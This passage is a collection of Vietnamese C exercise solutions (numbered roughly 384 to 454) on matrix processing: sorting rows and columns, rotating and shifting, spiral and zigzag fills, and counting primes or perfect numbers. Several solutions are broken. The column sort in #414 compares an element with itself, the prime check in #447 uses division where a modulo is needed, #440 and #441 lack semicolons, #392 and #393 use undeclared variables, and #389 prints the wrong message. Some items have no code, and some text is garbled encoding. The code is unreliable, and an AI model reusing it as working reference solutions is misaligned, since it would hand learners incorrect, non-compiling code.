if(n%i==0)
tong = tong + i;
if (tong == n)
return 1;
return 0;
}
int SoHoanThienDauTien(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (SoHoanThien(a[i][j])==1)
{
return a[i][j];
}
}
}
return -1;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int SoHoanThienMin = SoHoanThienDauTien(a,cot,dong);
if (SoHoanThienMin == -1)
{
return -1;
}
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (SoHoanThien(a[i][j])==1)
{
SoHoanThienMin = (SoHoanThienMin<a[i][j])?SoHoanThienMin:a[i][j];
}
}
}
return SoHoanThienMin;
}
384 Tìm các chữ số xuất hiện nhiều nhất trong ma trận void ChuSo(int n, int b[])
{
int DonVi;
n = abs(n);
do
{
DonVi = n%10;
b[DonVi]++;
n=n/10;
} while (n>0);
}
void GiaTriCanTim(int a[][100], int cot, int dong)
{
int b[10] = {0};
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
ChuSo(a[i][j],b);
}
}
int ChuSoNhieuNhat = 0;
for (i=1; i<10; i++)
{
if (b[ChuSoNhieuNhat] < b[i])
{
ChuSoNhieuNhat = i;
}
}
printf("Cac chu so xuat hien nhieu nhat: ");
for (i=0; i<10; i++)
{
if (b[ChuSoNhieuNhat] == b[i])
{
printf("%4d", i);
}
}
}
385 Liệt kê các dòng có tổng lớn nhất int tong(int a[], int cot)
{
int s=0;
for (int i=0; i<cot; i++)
{
s+=a[i];
}
return s;
}
void LietKe(int a[][100], int cot, int dong)
{
int b[100];
for (int i=0; i<dong; i++)
{
b[i] = tong(a[i],cot);
}
//Tong Max
int Max = b[0];
for (i=1; i<dong; i++)
{
Max = (Max>b[i])?Max:b[i];
}
//Liet ke Tong Max
for (i = 0; i< dong ;i++)
{
if (Max == b[i])
{
printf("\nDong %d co tong ptu lon nhat la %d", i,Max);
}
}
}
386 Liệt kê các cột có tổng nhỏ nhất void LietKe(int a[][100], int cot, int dong)
{
int b[100] = {0};
for (int i=0; i<cot; i++)
{
for (int j=0; j<dong; j++)
{
b[i]+=a[j][i];
}
}
//Tong Min
int Min = b[0];
for (i=1; i<cot; i++)
{
Min = (Min<b[i])?Min:b[i];
}
//Liet ke Tong Min
for (i = 0; i< cot ;i++)
{
if (Min == b[i])
{
printf("\nCot %d co tong ptu nho nhat la %d", i,Min);
}
}
}
387 Liệt kê các dòng có nhiều số chẵn nhất void LietKe(int a[][100], int cot, int dong)
{
int dem[100] = {0};
for (int i=0; i<dong; i++)
for (int j=0; j<cot; j++)
if (a[i][j]%2==0)
dem[i]++;
int Max = dem[0];
for (i=1; i<dong; i++)
Max = (Max>dem[i])?Max:dem[i];
for (i = 0; i< dong ;i++)
if (Max == dem[i])
printf("\nDong %d co so chan nhieu nhat la %d", i,Max);
}
388 Liệt kê các dòng có nhiều số nguyên tố nhất int SoNguyenTo(int a)
{
if (a<=1)
{
return 0;
}
for (int i=2; i<a; i++)
{
if (a%i==0)
{
return 0;
}
}
return 1;
}
void LietKe(int a[][100], int cot, int dong)
{
int dem[100] = {0};
for (int i=0; i<dong; i++)
for (int j=0; j<cot; j++)
if (SoNguyenTo(a[i][j])==1)
dem[i]++;
int Max = dem[0];
for (i=1; i<dong; i++)
Max = (Max>dem[i])?Max:dem[i];
for (i = 0; i< dong ;i++)
if (Max == dem[i])
printf("\nDong %d co so nguyen to nhieu nhat la %d", i,Max);
}
389 Liệt kê các dòng có nhiều số hòan thiện nhất int SoHoanThien(int n)
{
int tong=0;
for (int i=1 ; i<n; i++)
if(n%i==0)
tong = tong + i;
if (tong == n)
return 1;
return 0;
}
void LietKe(int a[][100], int cot, int dong)
{
int dem[100] = {0};
for (int i=0; i<dong; i++)
for (int j=0; j<cot; j++)
if (SoHoanThien(a[i][j])==1)
dem[i]++;
int Max = dem[0];
for (i=1; i<dong; i++)
Max = (Max>dem[i])?Max:dem[i];
for (i = 0; i< dong ;i++)
if (Max == dem[i])
printf("\nDong %d co so nguyen to nhieu nhat la %d", i,Max);
}
390 * Liệt kê các cột có nhiều chữ số nhất void LietKe(int a[][100], int cot, int dong)
{
int dem[100] = {0};
for (int i=0; i<cot; i++)
{
for (int j=0; j<dong; j++)
{
int tam;
tam = abs(a[j][i]);
do
{
dem[i]++;
tam=tam/10;
} while (tam>0);
}
}
int Max = dem[0];
for (i=1; i<cot; i++)
Max = (Max>dem[i])?Max:dem[i];
for (i = 0; i<cot ;i++)
if (Max == dem[i])
printf("\nCot %d co nhieu chu so nhat la %d", i,Max);
}
391 * Tìm ma trận con có tổng lớn nhất Kĩ thuật xử lý ma trận 392 Hoán vị hai dòng ma trận void HoanVi2Dong(int a[][100],int dong, int d1, int d2)
{
int temp[100];
for (int i=0; i<cot; i++)
{
temp[i] = a[d1][i];
a[d1][i] = a[d2][i];
a[d2][i] = temp[i];
}
} 393 Hoán vị hai cột ma trận void HoanVi2Cot(int a[][100],int cot,int c1, int c2)
{
int temp[100];
for (int i=0; i<dong; i++)
{
temp[i] = a[i][c1];
a[i][c1] = a[i][c2];
a[i][c2] = temp[i];
}
}
394 Dịch xuống xoay vòng các hàng trong ma trận void DichXuong(int a[][100], int cot, int dong)
{
int temp[100];
for (int i=0; i<dong; i++)
{
temp[i] = a[cot-1][i];
}
for (i = cot-1; i>=1; i--)
{
for (int j=0; j<dong; j++)
{
a[i][j] = a[i-1][j];
}
}
for (i=0; i<dong; i++)
{
a[0][i] = temp[i] ;
}
}
395 Dịch lên xoay vòng các hàng trong ma trận void DichLen(int a[][100], int cot, int dong)
{
int temp[100];
for (int i=0; i<cot; i++)
{
temp[i] = a[0][i];
}
for (i = 0; i<dong-1; i++)
{
for (int j=0; j<cot; j++)
{
a[i][j] = a[i+1][j];
}
}
for (i=0; i<cot; i++)
{
a[dong-1][i] = temp[i] ;
}
}
396 Dịch trái xoay vòng các cột trong ma trận void DichTrai(int a[][100], int cot, int dong)
{
int temp[100];
for (int i=0; i<dong; i++)
{
temp[i] = a[i][0];
}
for (int j = 0; j<cot-1; j++)
{
for (i=0; i<dong; i++)
{
a[i][j] = a[i][j+1];
}
}
for (i=0; i<dong; i++)
{
a[i][cot-1] = temp[i] ;
}
}
397 Dịch phải xoay vòng các cột trong ma trận void DichPhai(int a[][100], int cot, int dong)
{
int temp[100];
for (int i=0; i<dong; i++)
{
temp[i] = a[i][cot-1];
}
for (int j = cot-1; j>0; j--)
{
for (i=0; i<dong; i++)
{
a[i][j] = a[i][j-1];
}
}
for (i=0; i<dong; i++)
{
a[i][0] = temp[i] ;
}
}
398 Dịch phải xoay vòng theo chiều kim đồng hồ các giá trị nằm trên biên void DichPhaiXoayVong(int a[][100], int n, int m) // n dòng m c?t
{
int i, j; //i dong , j cot
int tam = a[0][0];
for (i=0,j=i; i< n-1; i++) //n=4, m = 5
{
a[i][j] = a[i+1][j]; //i = 3 --> dung, j =0
}
for (j,i; j< m -1; j++ )
{
a[i][j] = a[i][j+1]; //i=3 --> j = 4
}
for (i,j; i>0; i--)
{
a[i][j] = a[i-1][j]; //i = 0 --> j =4
}
for (i,j; j>1; j--)
{
a[i][j] = a[i][j-1]; //i = 0 --> j = 1
}
a[0][1] = tam;
}
399 Dịch trái xoay vòng theo chiều kim đồng hồ các giá trị nằm trên biên void DichTraiXoayVong(int a[][100], int cot, int dong)
{
int i, j;
int tam = a[0][0];
for (i=0,j=0; j< cot-1; j++)
{
a[i][j] = a[i][j+1];
}
for (i,j; i< dong-1; i++ )
{
a[i][j] = a[i+1][j];
}
for (i,j; j>0; j--)
{
a[i][j] = a[i][j-1];
}
for (i,j; i>1; i--)
{
a[i][j] = a[i-1][j];
}
a[1][0] = tam;
}
400 Xóa 1 dòng trong ma trận void Xoa(int a[][100], int cot, int &dong)
{
printf("Nhap chi so dong ban muon xoa");
int x,i,j;
do
{
scanf("%d", &x);
} while ( x<0 || x>=dong);
for ( i=x;i<dong-1;i++ )
{
for (j=0; j<cot;j++)
{
a[i][j] = a[i+1][j];
}
}
dong--;
}
401 Xóa 1 cột trong ma trận void Xoa(int a[][100], int &cot, int dong)
{
printf("Nhap chi so cot ban muon xoa");
int x,i,j;
do
{
scanf("%d", &x);
} while ( x<0 || x>=cot);
for ( i=x;i<cot-1;i++ )
{
for (j=0; j<dong;j++)
{
a[j][i] = a[j][i+1];
}
}
cot--;
}
402 Xoay ma trận 1 góc 90 độ void XoayMaTran(int a[][100], int cot, int dong)
{
for (int i=0;i<cot; i++)
{
for (int j=dong-1; j>=0; j--)
{
printf("%4d",a[j][i]);
}
printf("\n");
}
}
403 Xoay ma trận 1 góc 180 độ void XoayMaTran(int a[][100], int cot, int dong)
{
for (int i=dong-1;i>=0; i--)
{
for (int j=0; j<cot; j++)
{
printf("%4d",a[i][j]);
}
printf("\n");
}
}
404 Xoay ma trận 1 góc 270 độ void XoayMaTran(int a[][100], int cot, int dong)
{
for (int i=cot-1;i>=0; i--)
{
for (int j=0; j<dong; j++)
{
printf("%4d",a[j][i]);
}
printf("\n");
}
}
405 Chiếu gương ma trận theo trục dọc void XoayMaTran(int a[][100], int cot, int dong)
{
for (int i=0;i<dong; i++)
{
for (int j=cot-1; j>=0; j--)
{
printf("%4d",a[i][j]);
}
printf("\n");
}
}
406 Chiếu gương ma trận theo trục ngang void XoayMaTran(int a[][100], int cot, int dong)
{
for (int i=dong-1;i>=0; i--)
{
for (int j=0; j<cot; j++)
{
printf("%4d",a[i][j]);
}
printf("\n");
}
}
Kĩ thuật sắp xếp 407 Sắp xếp ptử trên 1 dòng tăng dần từ trái sang phải void SapXep(int a[][100], int cot, int dong)
{
int x;
printf("Nhap dong muon sap xep: ");
scanf("%d",&x);
for (int j=0; j<cot-1; j++)
{
for (int k=j+1; k<cot;k++)
{
if (a[x][j]>a[x][k])
{
int temp = a[x][j];
a[x][j] = a[x][k];
a[x][k] = temp;
}
}
}
}
408 Sắp xếp ptử trên 1 dòng giảm dần từ trái sang phải void SapXep(int a[][100], int cot, int dong)
{
int x;
printf("Nhap dong muon sap xep: ");
scanf("%d",&x);
for (int j=0; j<cot-1; j++)
{
for (int k=j+1; k<cot;k++)
{
if (a[x][j]<a[x][k])
{
int temp = a[x][j];
a[x][j] = a[x][k];
a[x][k] = temp;
}
}
}
}
409 Sắp xếp ptử trên 1 cột tăng dần từ trên xuống dưới void SapXep(int a[][100], int cot, int dong)
{
int x;
printf("Nhap cot muon sap xep: ");
scanf("%d",&x);
for (int i=0; i<dong-1; i++)
{
for (int j=i+1; j<dong;j++)
{
if (a[i][x]>a[j][x])
{
int temp = a[i][x];
a[i][x] = a[j][x];
a[j][x] = temp;
}
}
}
}
410 Sắp xếp ptử trên 1 cột giảm dần từ trên xuống dưới void SapXep(int a[][100], int cot, int dong)
{
int x;
printf("Nhap cot muon sap xep: ");
scanf("%d",&x);
for (int i=0; i<dong-1; i++)
{
for (int j=i+1; j<dong;j++)
{
if (a[i][x]<a[j][x])
{
int temp = a[i][x];
a[i][x] = a[j][x];
a[j][x] = temp;
}
}
}
}
411 Xuất giá trị chẵn trong ma trận theo thứ tự giảm dần 412 Xuất các số nguyên tố theo thứ tự tăng dần
413 Sắp xếp theo yêu cầu: Dòng có chỉ số chẵn tăng dần, lẻ giảm dần void SapXep(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot-1; j++)
{
for (int k=j+1; k<cot;k++)
{
if (i%2==0)
{
if (a[i][j]>a[i][k])
{
int temp = a[i][j];
a[i][j] = a[i][k];
a[i][k] = temp;
}
}
else
{
if (a[i][j]<a[i][k])
{
int temp = a[i][j];
a[i][j] = a[i][k];
a[i][k] = temp;
}
}
}
}
}
}
414 Sắp xếp theo yêu cầu: Cột có chỉ số chẵn giảm từ trên xuống, lẻ tăng từ trên xuống void SapXep(int a[][100], int cot, int dong)
{
for (int i=0; i<cot; i++)
{
for (int j=0; j<dong-1; j++)
{
for (int k=j+1; k<dong;k++)
{
if (i%2==0)
{
if (a[j][i]<a[j][i])
{
int temp = a[j][i];
a[j][i] = a[k][i];
a[k][i] = temp;
}
}
else
{
if (a[j][i]>a[j][i])
{
int temp = a[j][i];
a[j][i] = a[k][i];
a[k][i] = temp;
}
}
}
}
}
}
415 Sắp xếp ptử tăng dần theo hàng và cột: Dùng 2 phương pháp: sử dụng mảng phụ và ko dùng mảng phụ void GanMaTranVaoMang(int a[][10], int cot,int dong,int b[], int &nb)
{
for (int i=0;i<dong;i++)
{
for (int j=0; j<cot; j++)
{
b[nb] = a[i][j];
nb++;
}
}
}
void SapXepMangPhu(int b[], int nb) //S?p x?p t?ng d?n
{
for (int i=0; i<nb-1; i++)
{
for (int j=i+1; j<nb; j++)
{
if (b[i] > b[j])
{
int temp = b[i];
b[i] = b[j];
b[j] = temp;
}
}
}
}
void GanMangVaoMaTran(int a[][10], int cot,int dong,int b[])
{
int n=0;
for (int i=0;i<dong;i++)
{
for (int j=0; j<cot; j++)
{
a[i][j] = b[n];
n++;
}
}
}
void SapXep(int a[10][10], int cot, int dong)
{
int b[100],nb=0;
GanMaTranVaoMang(a,cot,dong,b,nb);
SapXepMangPhu(b,nb);
GanMangVaoMaTran(a,cot,dong,b);
}
416 Sắp xếp ptử dương tăng dần theo cột và dòng. Dùng 2 phương pháp: Sử dụng mảng phụ và ko sử dụng mảng phụ (như bài 415 thêm điều kiện xét ptử dương) 417 Sắp xếp ptử chẵn giảm dần theo cột và dòng. Dùng 2 phương pháp: Sử dụng mảng phụ và ko sử dụng mảng phụ (như bài 415 thêm điều kiện xét ptử chẵn và đổi dấu > thành <) 418 Sắp xếp âm tăng dần, dương giảm dần, 0 giữ nguyên void SapXepSoAm(int a[][10], int cot, int dong)
{
int i,j,k,h,d=0,temp;
for (i=0;i<dong;i++)
{
for (j=0; j<cot; j++)
{
if (a[i][j]<0)
{
for (k=i; k<dong; k++)
{
if (d==0)
h=j;
else
h=0;
for (; h<cot; h++)
{
if (a[i][j] > a[k][h] && a[k][h]<0)
{
temp = a[i][j];
a[i][j] = a[k][h];
a[k][h] = temp;
}
}
if (h==cot)
d=1;
}
d=0;
}
}
}
}
void SapXepSoDuong(int a[][10], int cot, int dong)
{
int i,j,k,h,d=0,temp;
for (i=0;i<dong;i++)
{
for (j=0; j<cot; j++)
{
if (a[i][j]>0)
{
for (k=i; k<dong; k++)
{
if (d==0)
h=j;
else
h=0;
for (; h<cot; h++)
{
if (a[i][j] < a[k][h] && a[k][h]>0)
{
temp = a[i][j];
a[i][j] = a[k][h];
a[k][h] = temp;
}
}
if (h==cot)
d=1;
}
d=0;
}
}
}
}
void SapXep(int a[][10], int cot, int dong)
{
SapXepSoAm(a,cot,dong);
SapXepSoDuong(a,cot,dong);
}
419 Sắp xếp chẵn tăng, lẻ giảm (như bài 418 chỉ sửa lại điều kiện) 420 Sắp xếp các giá trị nằm trên biên ma trận tăng dần void GanBienVaoMang(int a[][10], int cot, int dong, int b[], int &n)
{
int i=0, j;
for (j=i; j< cot; j++)
{
b[n] = a[i][j];
n++;
}
for (i++,j--; i< dong; i++ )
{
b[n] = a[i][j];
n++;
}
for (i--,j--; j>=0; j--)
{
b[n] = a[i][j];
n++;
}
for (i--,j++; i>0; i--)
{
b[n] = a[i][j];
n++;
}
}
void SapXepMangTangDan(int b[], int n)
{
for (int i=0; i<n-1; i++)
{
for (int j=i+1; j<n;j++)
{
if (b[i]>b[j])
{
int temp=b[i];
b[i] = b[j];
b[j] = temp;
}
}
}
}
void GanMangVaoBien(int a[][10], int cot, int dong, int b[])
{
int i=0,j,n=0;
for (j=i; j< cot; j++)
{
a[i][j] = b[n];
n++;
}
for (i++,j--; i< dong; i++ )
{
a[i][j] = b[n];
n++;
}
for (i--,j--; j>=0; j--)
{
a[i][j] = b[n];
n++;
}
for (i--,j++; i>0; i--)
{
a[i][j] = b[n];
n++;
}
}
void SapXep(int a[][10], int cot, int dong)
{
int b[100], n=0;
GanBienVaoMang(a,cot,dong,b,n);
SapXepMangTangDan(b,n);
GanMangVaoBien(a,cot,dong,b);
}
421 Sắp xếp các giá trị dương nằm trên biên ma trận tăng dần(như bài 420 chỉ thêm điều kiện dương) 422 Sắp xếp các dòng dựa vào: tổng các ptử trong 1 dòng: sắp tăng dần. void TongCacDong(int a[][10],int cot,int dong, int b[])
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
b[i]+=a[i][j];
}
}
}
void HoanVi2Dong(int a[][10],int cot, int d1, int d2)
{
int temp[10];
for (int i=0; i<cot; i++)
{
temp[i] = a[d1][i];
a[d1][i] = a[d2][i];
a[d2][i] = temp[i];
}
}
void SapXep(int a[][10], int cot, int dong)
{
int b[10] = {0};
TongCacDong(a,cot,dong,b);
for (int i=0; i<dong-1; i++)
{
for (int j=i+1; j<dong; j++)
{
if (b[i]>b[j])
{
HoanVi2Dong(a,cot,i,j);
int temp = b[i];
b[i] = b[j];
b[j] =temp;
}
}
}
}
423 Sắp xếp giá trị các ptử trong ma trận tăng dần theo dạng xoắn ốc (ma trận xoắn ốc) #include <stdio.h>
#include <conio.h>
void NhapCotDong(int &cot,int &dong);
void NhapMangThayMaTran(int Mang[],int cot,int dong);
void XuatMangThayMaTran(int Mang[],int cot,int dong);
void SapXepMang1Chieu(int Mang[], int cot, int dong);
void ThietLapMaTranXoanOc(int Mang[],int MaTranXoanOc[][10], int cot, int dong);
void XuatMaTran(int a[][10], int cot,int dong);
void main()
{
int Mang[100];
int cot;
int dong;
NhapCotDong(cot,dong);
NhapMangThayMaTran(Mang,cot,dong); //Nh?p m?ng thay cho ma tr?n
printf("\n\tMa tran vua nhap vao: \n");
XuatMangThayMaTran(Mang,cot,dong); //Xu?t m?ng theo ma tr?n
SapXepMang1Chieu(Mang,cot,dong);
//Dò t?ng v? trí trong ma tr?n theo d?ng xo?n ?c
int MaTranXoanOc[10][10];
ThietLapMaTranXoanOc(Mang,MaTranXoanOc,cot,dong);
printf("\n\tMa tran xoan oc:\n");
XuatMaTran(MaTranXoanOc,cot,dong);
getch();
}
void NhapCotDong(int &cot, int &dong)
{
printf("Nhap so cot: "); scanf("%d", &cot);
printf("Nhap so dong: "); scanf("%d", &dong);
}
void NhapMangThayMaTran(int Mang[],int cot,int dong)
{
for (int i=0, stt = 0; i<dong; i++ )
{
for (int j=0; j<cot; j++)
{
printf("\t\t%d/ [%d][%d] = ",stt+1, i, j);
scanf("%d", &Mang[stt]);
stt++;
}
}
}
void XuatMangThayMaTran(int Mang[],int cot,int dong)
{
printf("\t------------------------\n");
for (int i=0,stt = 0; i<dong; i++)
{
printf("\t");
for (int j=0; j<cot; j++)
{
printf("%4d", Mang[stt]);
stt++;
}
printf("\n");
}
printf("\t------------------------\n");
}
void SapXepMang1Chieu(int Mang[], int cot, int dong)
{
int temp;
for (int i=0;i <(cot*dong)-1; i++)
{
for (int j=i+1; j<(cot*dong); j++)
{
if(Mang[i]>Mang[j])
{
temp = Mang[i];
Mang[i]=Mang[j];
Mang[j]=temp;
}
}
}
}
void ThietLapMaTranXoanOc(int Mang[],int MaTranXoanOc[][10], int cot, int dong)
{
int dem = 0;
int i=0, j=0;
int DauTien=0;
int Tru=0;
do
{
i=DauTien;
for (j=i; j< cot - Tru; j++)
{
MaTranXoanOc[i][j] = Mang[dem];
dem++;
}
j--;
for (i++; i< dong - Tru; i++ )
{
MaTranXoanOc[i][j] = Mang[dem];
dem++;
}
i--;
for (j--; j>=Tru; j--)
{
MaTranXoanOc[i][j] = Mang[dem];
dem++;
}
Tru++;
j++;
for (i--; i>=Tru; i--)
{
MaTranXoanOc[i][j] = Mang[dem];
dem++;
}
DauTien++;
} while (dem!=cot*dong);
}
void XuatMaTran(int a[][10], int cot,int dong)
{
printf("\t------------------------\n");
for (int i=0; i<dong; i++)
{
printf("\t");
for (int j=0; j<cot; j++)
{
printf("%4d", a[i][j]);
}
printf("\n");
}
printf("\t------------------------\n");
}
424 Sắp xếp các ptử theo hình ziczac #include <stdio.h>
#include <conio.h>
void NhapCotDong(int &cot,int &dong);
void NhapMangThayMaTran(int Mang[],int cot,int dong);
void XuatMangThayMaTran(int Mang[],int cot,int dong);
void SapXepMang1Chieu(int Mang[], int cot, int dong);
void ThietLapMaTranZicZac(int Mang[],int MaTranZicZac[][10], int cot, int dong);
void XuatMaTran(int a[][10], int cot,int dong);
void main()
{
int Mang[100];
int cot;
int dong;
NhapCotDong(cot,dong);
NhapMangThayMaTran(Mang,cot,dong);
printf("\n\tMa tran vua nhap vao: \n");
XuatMangThayMaTran(Mang,cot,dong);
SapXepMang1Chieu(Mang,cot,dong);
int MaTranZicZac[10][10];
ThietLapMaTranZicZac(Mang,MaTranZicZac,cot,dong);
printf("\n\tMa tran Zic Zac:\n");
XuatMaTran(MaTranZicZac,cot,dong);
getch();
}
void NhapCotDong(int &cot, int &dong)
{
printf("Nhap so cot: "); scanf("%d", &cot);
printf("Nhap so dong: "); scanf("%d", &dong);
}
void NhapMangThayMaTran(int Mang[],int cot,int dong)
{
for (int i=0, stt = 0; i<dong; i++ )
{
for (int j=0; j<cot; j++)
{
printf("\t\t%d/ [%d][%d] = ",stt+1, i, j);
scanf("%d", &Mang[stt]);
stt++;
}
}
}
void XuatMangThayMaTran(int Mang[],int cot,int dong)
{
printf("\t------------------------\n");
for (int i=0,stt = 0; i<dong; i++)
{
printf("\t");
for (int j=0; j<cot; j++)
{
printf("%4d", Mang[stt]);
stt++;
}
printf("\n");
}
printf("\t------------------------\n");
}
void SapXepMang1Chieu(int Mang[], int cot, int dong)
{
int temp;
for (int i=0;i <(cot*dong)-1; i++)
{
for (int j=i+1; j<(cot*dong); j++)
{
if(Mang[i]>Mang[j])
{
temp = Mang[i];
Mang[i]=Mang[j];
Mang[j]=temp;
}
}
}
}
void ThietLapMaTranZicZac(int Mang[],int MaTranZicZac[][10], int cot, int dong)
{
int dem = 0;
int i=0, j=0;
do
{
for (i; i<dong ; i++)
{
MaTranZicZac[i][j] = Mang[dem]; dem++;
}
j++;
i--;
if (dem == cot*dong)
{
return;
}
for (i; i>-1; i--)
{
MaTranZicZac[i][j] = Mang[dem]; dem++;
}
i++;
j++;
} while (dem != cot*dong);
}
void XuatMaTran(int a[][10], int cot,int dong)
{
printf("\t------------------------\n");
for (int i=0; i<dong; i++)
{
printf("\t");
for (int j=0; j<cot; j++)
{
printf("%4d", a[i][j]);
}
printf("\n");
}
printf("\t------------------------\n");
}
425 Xuất các giá trị âm giảm dần (ma trận ko thay đổi sau khi xuất)
Xây dựng ma trận 426 Cho ma trận A.Hãy tạo ma trận B,B[i][j] = abs(A[i][j]) void XayDungB(int a[][10], int n, int m, int b[][10])
{
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
b[i][j] = abs(a[i][j]);
}
}
}
427 Cho ma trận A.Hãy tạo ma trận B,B[i][j] = lớn nhất dòng i,cột j của A int MaxTaiITaiJ(int a[][10], int n, int m,int i, int j)
{
int LonNhat = a[i][0];
for (int k = 1; k<m; k++)
LonNhat = (LonNhat < a[i][k])?a[i][k]:LonNhat;
for (k = 0; k<n; k++)
LonNhat = (LonNhat < a[k][j])?a[k][j]:LonNhat;
return LonNhat;
}
void XayDungB(int a[][10], int n, int m, int b[][10])
{
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
b[i][j] = MaxTaiITaiJ(a,n,m,i,j);
}
}
}
428 Cho ma trận A.Hãy tạo ma trận B,B[i][j] = số lượng ptử dương xung quanh A[i][j] void XayDungB(int a[][10], int cot, int dong, int b[][10])
{
int dx[8]={-1,-1,-1, 0, 0, 1, 1, 1};
int dy[8]={-1, 0, 1,-1, 1,-1, 0, 1};
for (int i=0; i<dong; i++)
{
for (int j=0; j< cot; j++)
{
for (int k=0; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[dx[k]+i][dy[k]+j]>0)
{
b[i][j]++;
}
}
}
}
}
}
Chuyên đề Ma trận vuông
429 Hàm nhập ma trận vuông số nguyên 430 Hàm nhập ma trận vuông số thực 431 Hàm xuất ma trận vuông số nguyên 432 Hàm xuất ma trận vuông số thực 437 Hàm sắp xếp ma trận vuông tăng từ trên xuống dưới và từ trái sang phải void SapXep(int a[][10], int n)
{
for (int k=0; k<=n*n-2; k++)
for (int l=k+1; l<=n*n-1; l++)
if (a[k/n][k%n] > a[l/n][l%n])
{
int temp = a[k/n][k%n];
a[k/n][k%n] = a[l/n][l%n];
a[l/n][l%n] = temp;
}
}
[b]Tính toán 438 Tổng ptử thuộc ma trận tam giác trên (ko tính đường chéo) trong ma trận vuông 439 Tổng ptử thuộc ma trận tam giác dưới (ko tính đường chéo) trong ma trận vuông 440 Tổng ptử trên đường chéo chính int TongDuongCheoChinh(int a[][10], int n)
{
int S = 0;
for (int i=0; i<n;i++)
S+=a[i][i]
return S;
}
441 Tổng ptử trên đường chéo phụ int TongDuongCheoPhu(int a[][10], int n)
{
int S = 0;
for (int i=0; i<n;i++)
S+=a[i][n-1-i]
return S;
}
442 Tổng ptử chẵn nằm trên biên int TongPTuChanTrenBienMaTranVuong(int a[][100], int n)
{
int s=0;
for (int i=0; i<n;i++)
{
if (a[0][i] %2 == 0) //Dòng ??u 0
s+=a[0][i];
if (a[n-1][i] %2 == 0) //Dòng cu?i n-1
s+=a[n-1][i];
if (a[i][0] %2 == 0) //C?t ??u 0
s+=a[i][0];
if (a[i][n-1] %2 == 0) //C?t cu?i n-1
s+=a[i][n-1];
}
return s;
} Kĩ thuật đặt lính canh 443 Tìm max trong ma trận tam giác trên 444 Tìm min trong ma trận tam giác dưới 445 Tìm max trên đường chéo chính 446 Tìm max trên đường chéo phụ 447 Tìm max nguyên tố trong ma trận int SoNguyenTo(int n)
{
if (n<=1)
{
return 0;
}
for (int i=2; i<n-1; i++)
{
if (n/i==0)
{
return 0;
}
}
return 1;
}
int SoNguyenToDauTien(int a[][10], int n)
{
for (int i=0; i<n;i++)
{
for (int j=0; j<n; j++)
{
if (SoNguyenTo(a[i][j])==1 )
{
return a[i][j];
}
}
}
return 0;
}
int SoNguyenToMax(int a[][10], int n)
{
int SoNguyenToLonNhat = SoNguyenToDauTien(a,n);
if (SoNguyenToLonNhat == 0)
{
return 0; //ko co so nguyen to
}
for (int i=0; i<n;i++)
{
for (int j=0; j<n; j++)
{
if (SoNguyenTo(a[i][j])==1)
{
SoNguyenToLonNhat=(SoNguyenToLonNhat>a[i][j])?SoNguyenToLonNhat:a[i][j];
}
}
}
return SoNguyenToLonNhat;
}
448 Tìm 2 giá trị gần nhau nhất void HaiGiaTriGanNhat(int a[][10], int n, int &X1, int &X2)
{
int KhoangCach = abs(a[0][0] - a[0][1]);
X1 = a[0][0]; //X1 va X2 la bien can tim
X2 = a[0][1];
int i;
int j;
for (i=0; i<n; i++)
{
for (j=0; j<n; j++)
{
if (i == n-1 && j == n-1)
{
break;
}
for (int k=i; k<n;k++)
{
for (int h=0; h<n; h++ )
{
if (k==i && h<=j)
{
continue;
}
if (KhoangCach > abs(a[i][j] - a[k][h]))
{
KhoangCach = abs(a[i][j] - a[k][h]);
X1 = a[i][j];
X2 = a[k][h];
}
}
}
}
}
}
449 * Cho ma trận vuông A(n x n). Hãy tìm ma trận vuông B(k x k) sao cho tổng các giá trị trên ma trận vuông này là lớn nhất Kĩ thuật đếm 450 Đếm số lượng cặp giá trị đối xứng nhau wa đường chéo chính int DemCapGiaTriDoiXung(int a[][10], int n)
{
int dem = 0;
for (int i=1; i<n;i++)
for (int j=0; j<i; j++)
if (a[i][j]==a[j][i])
dem++;
return dem;
}
451 ??m s? l??ng dòng gi?m
int KtraDongGiam(int a[], int n)
{
for (int i=0; i<n-1; i++)
{
if (a[i]<a[i+1])
{
return 0;
}
}
return 1;
}
int DemSoLuong(int a[][10], int n)
{
int dem = 0;
for (int i=0; i<n;i++)
{
if (KtraDongGiam(a[i],n)==1)
{
dem++;
}
}
return dem;
}
452 Đếm ptử cực đại int SoLuongPTuCucDai(int a[][10], int n)
{
int dem=0;
int di[8] = {-1,-1,-1,0,0,1,1,1};
int dj[8] = {-1,0,1,-1,1,-1,0,1};
for (int i=0; i<n;i++)
{
for (int j=0; j<n; j++)
{
int flag =1;
for (int k=0; k<8; k++)
{
if (i+di[k]>=0 && i+di[k]<=n-1 && j+dj[k]>=0 && j+dj[k]<=n-1)
{
if (a[i+di[k]][j+dj[k]]>a[i][j])
{
flag = 0;
break;
}
}
}
if (flag == 1)
{
dem++;
}
}
}
return dem;
}
453 Đếm giá trị dương trên đường chéo chính int SoLuongDuongCheoChinh(int a[][10], int n)
{
int dem=0;
for (int i=0; i<n;i++)
{
if (a[i][i]>0)
{
dem++;
}
}
return dem;
}
454 Đếm số âm trên đường chéo phụ int SoLuongAm(int a[][10], int n)
{
int dem = 0;
for (int i=0; i<n;i++)
if (a[i][n-1-i]<0)
dem++;
return dem;
}
